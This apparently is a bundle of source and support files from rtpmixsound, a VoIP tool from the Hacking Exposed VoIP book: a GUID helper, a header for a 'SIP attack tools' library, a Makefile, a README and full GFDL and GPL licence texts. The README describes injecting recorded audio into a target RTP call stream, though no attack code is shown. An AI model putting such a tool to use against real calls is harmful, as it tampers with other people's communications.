223 fprintf( stderr,
224 "GetNextGuid: out of memory",
225 __FILE__,
226 __LINE__ );
227 return ( NULL );
228 }
229
230 gettimeofday( &tv, NULL );
231
232 snprintf( guid, 37,
233 "%1x%05x%02x-%04x-%04x-%04x-%08x%04x",
234 ( unsigned int ) tv.tv_sec & 0x0000000f,
235 ( unsigned int ) tv.tv_usec & 0x000fffff,
236 ( unsigned int ) r3 >> 16 & 0x000000ff,
237 ( unsigned int ) tv.tv_sec >> 4 & 0x0000ffff,
238 ( unsigned int )( tv.tv_sec >> 20 & 0x00000fff ) | 0x00004000,
239 ( unsigned int )( r1 & 0x00003fff ) | 0x00008000,
240 ( unsigned int ) r2 & 0xffffffff,
241 ( unsigned int ) r3 & 0x0000ffff );
242
243 return ( guid );
244 }
0 //-------------------------------------------------------------------------------
1 //
2 // hack_library.h - A collection of tools used for SIP attack
3 // tools. Developed for the Hacking
4 // Exposed VoIP book.
5 //
6 // Copyright (C) 2006 Mark D. Collier/Mark O'Brien
7 //
8 // This program is free software; you can redistribute it and/or modify
9 // it under the terms of the GNU General Public License as published by
10 // the Free Software Foundation; either version 2 of the License, or
11 // (at your option) any later version.
12 //
13 // This program is distributed in the hope that it will be useful,
14 // but WITHOUT ANY WARRANTY; without even the implied warranty of
15 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
16 // GNU General Public License for more details.
17 //
18 // You should have received a copy of the GNU General Public License
19 // along with this program; if not, write to the Free Software
20 // Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
21 //
22 // Author: Mark D. Collier/Mark O'Brien - 02/17/2006 v1.0
23 // www.securelogix.com - [email protected]
24 // www.hackingexposedvoip.com
25 //
26 //-------------------------------------------------------------------------------
27
28 #ifndef __HACK_LIBRARY_H
29 #define __HACK_LIBRARY_H
30
31 #include <stdio.h>
32 #include <stdlib.h>
33 #include <stdbool.h>
34 #include <fcntl.h>
35
36 int Str2IP ( char *str, int *ipNum );
37 int DumpPacket ( char *psPacket, int packetSize );
38 char *GetNextGuid ( void );
39
40 #endif // __HACK_LIBRARY_H
0 GNU Free Documentation License
1 Version 1.2, November 2002
2
3
4 Copyright (C) 2000,2001,2002 Free Software Foundation, Inc.
5 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
6 Everyone is permitted to copy and distribute verbatim copies
7 of this license document, but changing it is not allowed.
8
9
10 0. PREAMBLE
11
12 The purpose of this License is to make a manual, textbook, or other
13 functional and useful document "free" in the sense of freedom: to
14 assure everyone the effective freedom to copy and redistribute it,
15 with or without modifying it, either commercially or noncommercially.
16 Secondarily, this License preserves for the author and publisher a way
17 to get credit for their work, while not being considered responsible
18 for modifications made by others.
19
20 This License is a kind of "copyleft", which means that derivative
21 works of the document must themselves be free in the same sense. It
22 complements the GNU General Public License, which is a copyleft
23 license designed for free software.
24
25 We have designed this License in order to use it for manuals for free
26 software, because free software needs free documentation: a free
27 program should come with manuals providing the same freedoms that the
28 software does. But this License is not limited to software manuals;
29 it can be used for any textual work, regardless of subject matter or
30 whether it is published as a printed book. We recommend this License
31 principally for works whose purpose is instruction or reference.
32
33
34 1. APPLICABILITY AND DEFINITIONS
35
36 This License applies to any manual or other work, in any medium, that
37 contains a notice placed by the copyright holder saying it can be
38 distributed under the terms of this License. Such a notice grants a
39 world-wide, royalty-free license, unlimited in duration, to use that
40 work under the conditions stated herein. The "Document", below,
41 refers to any such manual or work. Any member of the public is a
42 licensee, and is addressed as "you". You accept the license if you
43 copy, modify or distribute the work in a way requiring permission
44 under copyright law.
45
46 A "Modified Version" of the Document means any work containing the
47 Document or a portion of it, either copied verbatim, or with
48 modifications and/or translated into another language.
49
50 A "Secondary Section" is a named appendix or a front-matter section of
51 the Document that deals exclusively with the relationship of the
52 publishers or authors of the Document to the Document's overall subject
53 (or to related matters) and contains nothing that could fall directly
54 within that overall subject. (Thus, if the Document is in part a
55 textbook of mathematics, a Secondary Section may not explain any
56 mathematics.) The relationship could be a matter of historical
57 connection with the subject or with related matters, or of legal,
58 commercial, philosophical, ethical or political position regarding
59 them.
60
61 The "Invariant Sections" are certain Secondary Sections whose titles
62 are designated, as being those of Invariant Sections, in the notice
63 that says that the Document is released under this License. If a
64 section does not fit the above definition of Secondary then it is not
65 allowed to be designated as Invariant. The Document may contain zero
66 Invariant Sections. If the Document does not identify any Invariant
67 Sections then there are none.
68
69 The "Cover Texts" are certain short passages of text that are listed,
70 as Front-Cover Texts or Back-Cover Texts, in the notice that says that
71 the Document is released under this License. A Front-Cover Text may
72 be at most 5 words, and a Back-Cover Text may be at most 25 words.
73
74 A "Transparent" copy of the Document means a machine-readable copy,
75 represented in a format whose specification is available to the
76 general public, that is suitable for revising the document
77 straightforwardly with generic text editors or (for images composed of
78 pixels) generic paint programs or (for drawings) some widely available
79 drawing editor, and that is suitable for input to text formatters or
80 for automatic translation to a variety of formats suitable for input
81 to text formatters. A copy made in an otherwise Transparent file
82 format whose markup, or absence of markup, has been arranged to thwart
83 or discourage subsequent modification by readers is not Transparent.
84 An image format is not Transparent if used for any substantial amount
85 of text. A copy that is not "Transparent" is called "Opaque".
86
87 Examples of suitable formats for Transparent copies include plain
88 ASCII without markup, Texinfo input format, LaTeX input format, SGML
89 or XML using a publicly available DTD, and standard-conforming simple
90 HTML, PostScript or PDF designed for human modification. Examples of
91 transparent image formats include PNG, XCF and JPG. Opaque formats
92 include proprietary formats that can be read and edited only by
93 proprietary word processors, SGML or XML for which the DTD and/or
94 processing tools are not generally available, and the
95 machine-generated HTML, PostScript or PDF produced by some word
96 processors for output purposes only.
97
98 The "Title Page" means, for a printed book, the title page itself,
99 plus such following pages as are needed to hold, legibly, the material
100 this License requires to appear in the title page. For works in
101 formats which do not have any title page as such, "Title Page" means
102 the text near the most prominent appearance of the work's title,
103 preceding the beginning of the body of the text.
104
105 A section "Entitled XYZ" means a named subunit of the Document whose
106 title either is precisely XYZ or contains XYZ in parentheses following
107 text that translates XYZ in another language. (Here XYZ stands for a
108 specific section name mentioned below, such as "Acknowledgements",
109 "Dedications", "Endorsements", or "History".) To "Preserve the Title"
110 of such a section when you modify the Document means that it remains a
111 section "Entitled XYZ" according to this definition.
112
113 The Document may include Warranty Disclaimers next to the notice which
114 states that this License applies to the Document. These Warranty
115 Disclaimers are considered to be included by reference in this
116 License, but only as regards disclaiming warranties: any other
117 implication that these Warranty Disclaimers may have is void and has
118 no effect on the meaning of this License.
119
120
121 2. VERBATIM COPYING
122
123 You may copy and distribute the Document in any medium, either
124 commercially or noncommercially, provided that this License, the
125 copyright notices, and the license notice saying this License applies
126 to the Document are reproduced in all copies, and that you add no other
127 conditions whatsoever to those of this License. You may not use
128 technical measures to obstruct or control the reading or further
129 copying of the copies you make or distribute. However, you may accept
130 compensation in exchange for copies. If you distribute a large enough
131 number of copies you must also follow the conditions in section 3.
132
133 You may also lend copies, under the same conditions stated above, and
134 you may publicly display copies.
135
136
137 3. COPYING IN QUANTITY
138
139 If you publish printed copies (or copies in media that commonly have
140 printed covers) of the Document, numbering more than 100, and the
141 Document's license notice requires Cover Texts, you must enclose the
142 copies in covers that carry, clearly and legibly, all these Cover
143 Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on
144 the back cover. Both covers must also clearly and legibly identify
145 you as the publisher of these copies. The front cover must present
146 the full title with all words of the title equally prominent and
147 visible. You may add other material on the covers in addition.
148 Copying with changes limited to the covers, as long as they preserve
149 the title of the Document and satisfy these conditions, can be treated
150 as verbatim copying in other respects.
151
152 If the required texts for either cover are too voluminous to fit
153 legibly, you should put the first ones listed (as many as fit
154 reasonably) on the actual cover, and continue the rest onto adjacent
155 pages.
156
157 If you publish or distribute Opaque copies of the Document numbering
158 more than 100, you must either include a machine-readable Transparent
159 copy along with each Opaque copy, or state in or with each Opaque copy
160 a computer-network location from which the general network-using
161 public has access to download using public-standard network protocols
162 a complete Transparent copy of the Document, free of added material.
163 If you use the latter option, you must take reasonably prudent steps,
164 when you begin distribution of Opaque copies in quantity, to ensure
165 that this Transparent copy will remain thus accessible at the stated
166 location until at least one year after the last time you distribute an
167 Opaque copy (directly or through your agents or retailers) of that
168 edition to the public.
169
170 It is requested, but not required, that you contact the authors of the
171 Document well before redistributing any large number of copies, to give
172 them a chance to provide you with an updated version of the Document.
173
174
175 4. MODIFICATIONS
176
177 You may copy and distribute a Modified Version of the Document under
178 the conditions of sections 2 and 3 above, provided that you release
179 the Modified Version under precisely this License, with the Modified
180 Version filling the role of the Document, thus licensing distribution
181 and modification of the Modified Version to whoever possesses a copy
182 of it. In addition, you must do these things in the Modified Version:
183
184 A. Use in the Title Page (and on the covers, if any) a title distinct
185 from that of the Document, and from those of previous versions
186 (which should, if there were any, be listed in the History section
187 of the Document). You may use the same title as a previous version
188 if the original publisher of that version gives permission.
189 B. List on the Title Page, as authors, one or more persons or entities
190 responsible for authorship of the modifications in the Modified
191 Version, together with at least five of the principal authors of the
192 Document (all of its principal authors, if it has fewer than five),
193 unless they release you from this requirement.
194 C. State on the Title page the name of the publisher of the
195 Modified Version, as the publisher.
196 D. Preserve all the copyright notices of the Document.
197 E. Add an appropriate copyright notice for your modifications
198 adjacent to the other copyright notices.
199 F. Include, immediately after the copyright notices, a license notice
200 giving the public permission to use the Modified Version under the
201 terms of this License, in the form shown in the Addendum below.
202 G. Preserve in that license notice the full lists of Invariant Sections
203 and required Cover Texts given in the Document's license notice.
204 H. Include an unaltered copy of this License.
205 I. Preserve the section Entitled "History", Preserve its Title, and add
206 to it an item stating at least the title, year, new authors, and
207 publisher of the Modified Version as given on the Title Page. If
208 there is no section Entitled "History" in the Document, create one
209 stating the title, year, authors, and publisher of the Document as
210 given on its Title Page, then add an item describing the Modified
211 Version as stated in the previous sentence.
212 J. Preserve the network location, if any, given in the Document for
213 public access to a Transparent copy of the Document, and likewise
214 the network locations given in the Document for previous versions
215 it was based on. These may be placed in the "History" section.
216 You may omit a network location for a work that was published at
217 least four years before the Document itself, or if the original
218 publisher of the version it refers to gives permission.
219 K. For any section Entitled "Acknowledgements" or "Dedications",
220 Preserve the Title of the section, and preserve in the section all
221 the substance and tone of each of the contributor acknowledgements
222 and/or dedications given therein.
223 L. Preserve all the Invariant Sections of the Document,
224 unaltered in their text and in their titles. Section numbers
225 or the equivalent are not considered part of the section titles.
226 M. Delete any section Entitled "Endorsements". Such a section
227 may not be included in the Modified Version.
228 N. Do not retitle any existing section to be Entitled "Endorsements"
229 or to conflict in title with any Invariant Section.
230 O. Preserve any Warranty Disclaimers.
231
232 If the Modified Version includes new front-matter sections or
233 appendices that qualify as Secondary Sections and contain no material
234 copied from the Document, you may at your option designate some or all
235 of these sections as invariant. To do this, add their titles to the
236 list of Invariant Sections in the Modified Version's license notice.
237 These titles must be distinct from any other section titles.
238
239 You may add a section Entitled "Endorsements", provided it contains
240 nothing but endorsements of your Modified Version by various
241 parties--for example, statements of peer review or that the text has
242 been approved by an organization as the authoritative definition of a
243 standard.
244
245 You may add a passage of up to five words as a Front-Cover Text, and a
246 passage of up to 25 words as a Back-Cover Text, to the end of the list
247 of Cover Texts in the Modified Version. Only one passage of
248 Front-Cover Text and one of Back-Cover Text may be added by (or
249 through arrangements made by) any one entity. If the Document already
250 includes a cover text for the same cover, previously added by you or
251 by arrangement made by the same entity you are acting on behalf of,
252 you may not add another; but you may replace the old one, on explicit
253 permission from the previous publisher that added the old one.
254
255 The author(s) and publisher(s) of the Document do not by this License
256 give permission to use their names for publicity for or to assert or
257 imply endorsement of any Modified Version.
258
259
260 5. COMBINING DOCUMENTS
261
262 You may combine the Document with other documents released under this
263 License, under the terms defined in section 4 above for modified
264 versions, provided that you include in the combination all of the
265 Invariant Sections of all of the original documents, unmodified, and
266 list them all as Invariant Sections of your combined work in its
267 license notice, and that you preserve all their Warranty Disclaimers.
268
269 The combined work need only contain one copy of this License, and
270 multiple identical Invariant Sections may be replaced with a single
271 copy. If there are multiple Invariant Sections with the same name but
272 different contents, make the title of each such section unique by
273 adding at the end of it, in parentheses, the name of the original
274 author or publisher of that section if known, or else a unique number.
275 Make the same adjustment to the section titles in the list of
276 Invariant Sections in the license notice of the combined work.
277
278 In the combination, you must combine any sections Entitled "History"
279 in the various original documents, forming one section Entitled
280 "History"; likewise combine any sections Entitled "Acknowledgements",
281 and any sections Entitled "Dedications". You must delete all sections
282 Entitled "Endorsements".
283
284
285 6. COLLECTIONS OF DOCUMENTS
286
287 You may make a collection consisting of the Document and other documents
288 released under this License, and replace the individual copies of this
289 License in the various documents with a single copy that is included in
290 the collection, provided that you follow the rules of this License for
291 verbatim copying of each of the documents in all other respects.
292
293 You may extract a single document from such a collection, and distribute
294 it individually under this License, provided you insert a copy of this
295 License into the extracted document, and follow this License in all
296 other respects regarding verbatim copying of that document.
297
298
299 7. AGGREGATION WITH INDEPENDENT WORKS
300
301 A compilation of the Document or its derivatives with other separate
302 and independent documents or works, in or on a volume of a storage or
303 distribution medium, is called an "aggregate" if the copyright
304 resulting from the compilation is not used to limit the legal rights
305 of the compilation's users beyond what the individual works permit.
306 When the Document is included in an aggregate, this License does not
307 apply to the other works in the aggregate which are not themselves
308 derivative works of the Document.
309
310 If the Cover Text requirement of section 3 is applicable to these
311 copies of the Document, then if the Document is less than one half of
312 the entire aggregate, the Document's Cover Texts may be placed on
313 covers that bracket the Document within the aggregate, or the
314 electronic equivalent of covers if the Document is in electronic form.
315 Otherwise they must appear on printed covers that bracket the whole
316 aggregate.
317
318
319 8. TRANSLATION
320
321 Translation is considered a kind of modification, so you may
322 distribute translations of the Document under the terms of section 4.
323 Replacing Invariant Sections with translations requires special
324 permission from their copyright holders, but you may include
325 translations of some or all Invariant Sections in addition to the
326 original versions of these Invariant Sections. You may include a
327 translation of this License, and all the license notices in the
328 Document, and any Warranty Disclaimers, provided that you also include
329 the original English version of this License and the original versions
330 of those notices and disclaimers. In case of a disagreement between
331 the translation and the original version of this License or a notice
332 or disclaimer, the original version will prevail.
333
334 If a section in the Document is Entitled "Acknowledgements",
335 "Dedications", or "History", the requirement (section 4) to Preserve
336 its Title (section 1) will typically require changing the actual
337 title.
338
339
340 9. TERMINATION
341
342 You may not copy, modify, sublicense, or distribute the Document except
343 as expressly provided for under this License. Any other attempt to
344 copy, modify, sublicense or distribute the Document is void, and will
345 automatically terminate your rights under this License. However,
346 parties who have received copies, or rights, from you under this
347 License will not have their licenses terminated so long as such
348 parties remain in full compliance.
349
350
351 10. FUTURE REVISIONS OF THIS LICENSE
352
353 The Free Software Foundation may publish new, revised versions
354 of the GNU Free Documentation License from time to time. Such new
355 versions will be similar in spirit to the present version, but may
356 differ in detail to address new problems or concerns. See
357 http://www.gnu.org/copyleft/.
358
359 Each version of the License is given a distinguishing version number.
360 If the Document specifies that a particular numbered version of this
361 License "or any later version" applies to it, you have the option of
362 following the terms and conditions either of that specified version or
363 of any later version that has been published (not as a draft) by the
364 Free Software Foundation. If the Document does not specify a version
365 number of this License, you may choose any version ever published (not
366 as a draft) by the Free Software Foundation.
367
368
369 ADDENDUM: How to use this License for your documents
370
371 To use this License in a document you have written, include a copy of
372 the License in the document and put the following copyright and
373 license notices just after the title page:
374
375 Copyright (c) YEAR YOUR NAME.
376 Permission is granted to copy, distribute and/or modify this document
377 under the terms of the GNU Free Documentation License, Version 1.2
378 or any later version published by the Free Software Foundation;
379 with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts.
380 A copy of the license is included in the section entitled "GNU
381 Free Documentation License".
382
383 If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts,
384 replace the "with...Texts." line with this:
385
386 with the Invariant Sections being LIST THEIR TITLES, with the
387 Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
388
389 If you have Invariant Sections without Cover Texts, or some other
390 combination of the three, merge those two alternatives to suit the
391 situation.
392
393 If your document contains nontrivial examples of program code, we
394 recommend releasing these examples in parallel under your choice of
395 free software license, such as the GNU General Public License,
396 to permit their use in free software.
0 GNU GENERAL PUBLIC LICENSE
1 Version 2, June 1991
2
3 Copyright (C) 1989, 1991 Free Software Foundation, Inc.
4 59 Temple Place - Suite 330, Boston, MA
5 02111-1307, USA.
6 Everyone is permitted to copy and distribute verbatim copies
7 of this license document, but changing it is not allowed.
8
9 Preamble
10
11 The licenses for most software are designed to take away your
12 freedom to share and change it. By contrast, the GNU General Public
13 License is intended to guarantee your freedom to share and change free
14 software--to make sure the software is free for all its users. This
15 General Public License applies to most of the Free Software
16 Foundation's software and to any other program whose authors commit to
17 using it. (Some other Free Software Foundation software is covered by
18 the GNU Library General Public License instead.) You can apply it to
19 your programs, too.
20
21 When we speak of free software, we are referring to freedom, not
22 price. Our General Public Licenses are designed to make sure that you
23 have the freedom to distribute copies of free software (and charge for
24 this service if you wish), that you receive source code or can get it
25 if you want it, that you can change the software or use pieces of it
26 in new free programs; and that you know you can do these things.
27
28 To protect your rights, we need to make restrictions that forbid
29 anyone to deny you these rights or to ask you to surrender the rights.
30 These restrictions translate to certain responsibilities for you if you
31 distribute copies of the software, or if you modify it.
32
33 For example, if you distribute copies of such a program, whether
34 gratis or for a fee, you must give the recipients all the rights that
35 you have. You must make sure that they, too, receive or can get the
36 source code. And you must show them these terms so they know their
37 rights.
38
39 We protect your rights with two steps: (1) copyright the software, and
40 (2) offer you this license which gives you legal permission to copy,
41 distribute and/or modify the software.
42
43 Also, for each author's protection and ours, we want to make certain
44 that everyone understands that there is no warranty for this free
45 software. If the software is modified by someone else and passed on, we
46 want its recipients to know that what they have is not the original, so
47 that any problems introduced by others will not reflect on the original
48 authors' reputations.
49
50 Finally, any free program is threatened constantly by software
51 patents. We wish to avoid the danger that redistributors of a free
52 program will individually obtain patent licenses, in effect making the
53 program proprietary. To prevent this, we have made it clear that any
54 patent must be licensed for everyone's free use or not licensed at all.
55
56 The precise terms and conditions for copying, distribution and
57 modification follow.
58
59 GNU GENERAL PUBLIC LICENSE
60 TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
61
62 0. This License applies to any program or other work which contains
63 a notice placed by the copyright holder saying it may be distributed
64 under the terms of this General Public License. The "Program", below,
65 refers to any such program or work, and a "work based on the Program"
66 means either the Program or any derivative work under copyright law:
67 that is to say, a work containing the Program or a portion of it,
68 either verbatim or with modifications and/or translated into another
69 language. (Hereinafter, translation is included without limitation in
70 the term "modification".) Each licensee is addressed as "you".
71
72 Activities other than copying, distribution and modification are not
73 covered by this License; they are outside its scope. The act of
74 running the Program is not restricted, and the output from the Program
75 is covered only if its contents constitute a work based on the
76 Program (independent of having been made by running the Program).
77 Whether that is true depends on what the Program does.
78
79 1. You may copy and distribute verbatim copies of the Program's
80 source code as you receive it, in any medium, provided that you
81 conspicuously and appropriately publish on each copy an appropriate
82 copyright notice and disclaimer of warranty; keep intact all the
83 notices that refer to this License and to the absence of any warranty;
84 and give any other recipients of the Program a copy of this License
85 along with the Program.
86
87 You may charge a fee for the physical act of transferring a copy, and
88 you may at your option offer warranty protection in exchange for a fee.
89
90 2. You may modify your copy or copies of the Program or any portion
91 of it, thus forming a work based on the Program, and copy and
92 distribute such modifications or work under the terms of Section 1
93 above, provided that you also meet all of these conditions:
94
95 a) You must cause the modified files to carry prominent notices
96 stating that you changed the files and the date of any change.
97
98 b) You must cause any work that you distribute or publish, that in
99 whole or in part contains or is derived from the Program or any
100 part thereof, to be licensed as a whole at no charge to all third
101 parties under the terms of this License.
102
103 c) If the modified program normally reads commands interactively
104 when run, you must cause it, when started running for such
105 interactive use in the most ordinary way, to print or display an
106 announcement including an appropriate copyright notice and a
107 notice that there is no warranty (or else, saying that you provide
108 a warranty) and that users may redistribute the program under
109 these conditions, and telling the user how to view a copy of this
110 License. (Exception: if the Program itself is interactive but
111 does not normally print such an announcement, your work based on
112 the Program is not required to print an announcement.)
113
114 These requirements apply to the modified work as a whole. If
115 identifiable sections of that work are not derived from the Program,
116 and can be reasonably considered independent and separate works in
117 themselves, then this License, and its terms, do not apply to those
118 sections when you distribute them as separate works. But when you
119 distribute the same sections as part of a whole which is a work based
120 on the Program, the distribution of the whole must be on the terms of
121 this License, whose permissions for other licensees extend to the
122 entire whole, and thus to each and every part regardless of who wrote it.
123
124 Thus, it is not the intent of this section to claim rights or contest
125 your rights to work written entirely by you; rather, the intent is to
126 exercise the right to control the distribution of derivative or
127 collective works based on the Program.
128
129 In addition, mere aggregation of another work not based on the Program
130 with the Program (or with a work based on the Program) on a volume of
131 a storage or distribution medium does not bring the other work under
132 the scope of this License.
133
134 3. You may copy and distribute the Program (or a work based on it,
135 under Section 2) in object code or executable form under the terms of
136 Sections 1 and 2 above provided that you also do one of the following:
137
138 a) Accompany it with the complete corresponding machine-readable
139 source code, which must be distributed under the terms of Sections
140 1 and 2 above on a medium customarily used for software interchange; or,
141
142 b) Accompany it with a written offer, valid for at least three
143 years, to give any third party, for a charge no more than your
144 cost of physically performing source distribution, a complete
145 machine-readable copy of the corresponding source code, to be
146 distributed under the terms of Sections 1 and 2 above on a medium
147 customarily used for software interchange; or,
148
149 c) Accompany it with the information you received as to the offer
150 to distribute corresponding source code. (This alternative is
151 allowed only for noncommercial distribution and only if you
152 received the program in object code or executable form with such
153 an offer, in accord with Subsection b above.)
154
155 The source code for a work means the preferred form of the work for
156 making modifications to it. For an executable work, complete source
157 code means all the source code for all modules it contains, plus any
158 associated interface definition files, plus the scripts used to
159 control compilation and installation of the executable. However, as a
160 special exception, the source code distributed need not include
161 anything that is normally distributed (in either source or binary
162 form) with the major components (compiler, kernel, and so on) of the
163 operating system on which the executable runs, unless that component
164 itself accompanies the executable.
165
166 If distribution of executable or object code is made by offering
167 access to copy from a designated place, then offering equivalent
168 access to copy the source code from the same place counts as
169 distribution of the source code, even though third parties are not
170 compelled to copy the source along with the object code.
171
172 4. You may not copy, modify, sublicense, or distribute the Program
173 except as expressly provided under this License. Any attempt
174 otherwise to copy, modify, sublicense or distribute the Program is
175 void, and will automatically terminate your rights under this License.
176 However, parties who have received copies, or rights, from you under
177 this License will not have their licenses terminated so long as such
178 parties remain in full compliance.
179
180 5. You are not required to accept this License, since you have not
181 signed it. However, nothing else grants you permission to modify or
182 distribute the Program or its derivative works. These actions are
183 prohibited by law if you do not accept this License. Therefore, by
184 modifying or distributing the Program (or any work based on the
185 Program), you indicate your acceptance of this License to do so, and
186 all its terms and conditions for copying, distributing or modifying
187 the Program or works based on it.
188
189 6. Each time you redistribute the Program (or any work based on the
190 Program), the recipient automatically receives a license from the
191 original licensor to copy, distribute or modify the Program subject to
192 these terms and conditions. You may not impose any further
193 restrictions on the recipients' exercise of the rights granted herein.
194 You are not responsible for enforcing compliance by third parties to
195 this License.
196
197 7. If, as a consequence of a court judgment or allegation of patent
198 infringement or for any other reason (not limited to patent issues),
199 conditions are imposed on you (whether by court order, agreement or
200 otherwise) that contradict the conditions of this License, they do not
201 excuse you from the conditions of this License. If you cannot
202 distribute so as to satisfy simultaneously your obligations under this
203 License and any other pertinent obligations, then as a consequence you
204 may not distribute the Program at all. For example, if a patent
205 license would not permit royalty-free redistribution of the Program by
206 all those who receive copies directly or indirectly through you, then
207 the only way you could satisfy both it and this License would be to
208 refrain entirely from distribution of the Program.
209
210 If any portion of this section is held invalid or unenforceable under
211 any particular circumstance, the balance of the section is intended to
212 apply and the section as a whole is intended to apply in other
213 circumstances.
214
215 It is not the purpose of this section to induce you to infringe any
216 patents or other property right claims or to contest validity of any
217 such claims; this section has the sole purpose of protecting the
218 integrity of the free software distribution system, which is
219 implemented by public license practices. Many people have made
220 generous contributions to the wide range of software distributed
221 through that system in reliance on consistent application of that
222 system; it is up to the author/donor to decide if he or she is willing
223 to distribute software through any other system and a licensee cannot
224 impose that choice.
225
226 This section is intended to make thoroughly clear what is believed to
227 be a consequence of the rest of this License.
228
229 8. If the distribution and/or use of the Program is restricted in
230 certain countries either by patents or by copyrighted interfaces, the
231 original copyright holder who places the Program under this License
232 may add an explicit geographical distribution limitation excluding
233 those countries, so that distribution is permitted only in or among
234 countries not thus excluded. In such case, this License incorporates
235 the limitation as if written in the body of this License.
236
237 9. The Free Software Foundation may publish revised and/or new versions
238 of the General Public License from time to time. Such new versions will
239 be similar in spirit to the present version, but may differ in detail to
240 address new problems or concerns.
241
242 Each version is given a distinguishing version number. If the Program
243 specifies a version number of this License which applies to it and "any
244 later version", you have the option of following the terms and conditions
245 either of that version or of any later version published by the Free
246 Software Foundation. If the Program does not specify a version number of
247 this License, you may choose any version ever published by the Free Software
248 Foundation.
249
250 10. If you wish to incorporate parts of the Program into other free
251 programs whose distribution conditions are different, write to the author
252 to ask for permission. For software which is copyrighted by the Free
253 Software Foundation, write to the Free Software Foundation; we sometimes
254 make exceptions for this. Our decision will be guided by the two goals
255 of preserving the free status of all derivatives of our free software and
256 of promoting the sharing and reuse of software generally.
257
258 NO WARRANTY
259
260 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
261 FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
262 OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
263 PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
264 OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
265 MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
266 TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
267 PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
268 REPAIR OR CORRECTION.
269
270 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
271 WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
272 REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
273 INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
274 OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
275 TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
276 YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
277 PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
278 POSSIBILITY OF SUCH DAMAGES.
279
280 END OF TERMS AND CONDITIONS
281
282 Appendix: How to Apply These Terms to Your New Programs
283
284 If you develop a new program, and you want it to be of the greatest
285 possible use to the public, the best way to achieve this is to make it
286 free software which everyone can redistribute and change under these terms.
287
288 To do so, attach the following notices to the program. It is safest
289 to attach them to the start of each source file to most effectively
290 convey the exclusion of warranty; and each file should have at least
291 the "copyright" line and a pointer to where the full notice is found.
292
293 <one line to give the program's name and a brief idea of what it does.>
294 Copyright (C) 19yy <name of author>
295
296 This program is free software; you can redistribute it and/or modify
297 it under the terms of the GNU General Public License as published by
298 the Free Software Foundation; either version 2 of the License, or
299 (at your option) any later version.
300
301 This program is distributed in the hope that it will be useful,
302 but WITHOUT ANY WARRANTY; without even the implied warranty of
303 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
304 GNU General Public License for more details.
305
306 You should have received a copy of the GNU General Public License
307 along with this program; if not, write to the Free Software
308 Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
309
310 Also add information on how to contact you by electronic and paper mail.
311
312 If the program is interactive, make it output a short notice like this
313 when it starts in an interactive mode:
314
315 Gnomovision version 69, Copyright (C) 19yy name of author
316 Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
317 This is free software, and you are welcome to redistribute it
318 under certain conditions; type `show c' for details.
319
320 The hypothetical commands `show w' and `show c' should show the appropriate
321 parts of the General Public License. Of course, the commands you use may
322 be called something other than `show w' and `show c'; they could even be
323 mouse-clicks or menu items--whatever suits your program.
324
325 You should also get your employer (if you work as a programmer) or your
326 school, if any, to sign a "copyright disclaimer" for the program, if
327 necessary. Here is a sample; alter the names:
328
329 Yoyodyne, Inc., hereby disclaims all copyright interest in the program
330 `Gnomovision' (which makes passes at compilers) written by James Hacker.
331
332 <signature of Ty Coon>, 1 April 1989
333 Ty Coon, President of Vice
334
335 This General Public License does not permit incorporating your program into
336 proprietary programs. If your program is a subroutine library, you may
337 consider it more useful to permit linking proprietary applications with the
338 library. If this is what you want to do, use the GNU Library General
339 Public License instead of this License.
0 rtpmixsound: rtpmixsound.c rtpmixsound.h
1 gcc -I../hack_library -I../g711conversions rtpmixsound.c -lnet -lpcap -lfindrtp ../hack_library/hack_library.o ../g711conversions/g711conversions.o -o rtpmixsound
2
3 clean:
4 rm -f rtpmixsound rtpmixsound.o
5
6
0 A tool to mix pre-recorded audio in real-time with the audio (i.e. RTP) in
1 the specified target audio stream. The tool was created in the August -
2 September 2006 timeframe. The tool is named rtpmixsound. It was tested
3 on a Linux Red Hat Fedora Core 4 platform, but it is expected this
4 tool will successfully build and execute on a variety of Linux distributions.
5 The first distribution of the tool is: v1.1.
6
7 v3.0 is an upgrade produced in January 2007 to support the auto-detection
8 of RTP session endpoint addresses and ports via libfindrtp.
9
10 v2.0 is an upgrade produced in October 2006 to directly support the input
11 of certain wave (i.e. .wav) files into the tool as the source of audio
12 to mix with the target audio stream, in addition to the input of audio
13 in the form of a tcpdump formatted file (i.e. G.711 RTP/UDP/IP/ETHERNET
14 captures) which was supported in v1.1.
15
16 Copyright (c) 2006 Mark D. Collier/Mark O'Brien
17 Permission is granted to copy, distribute and/or modify this document
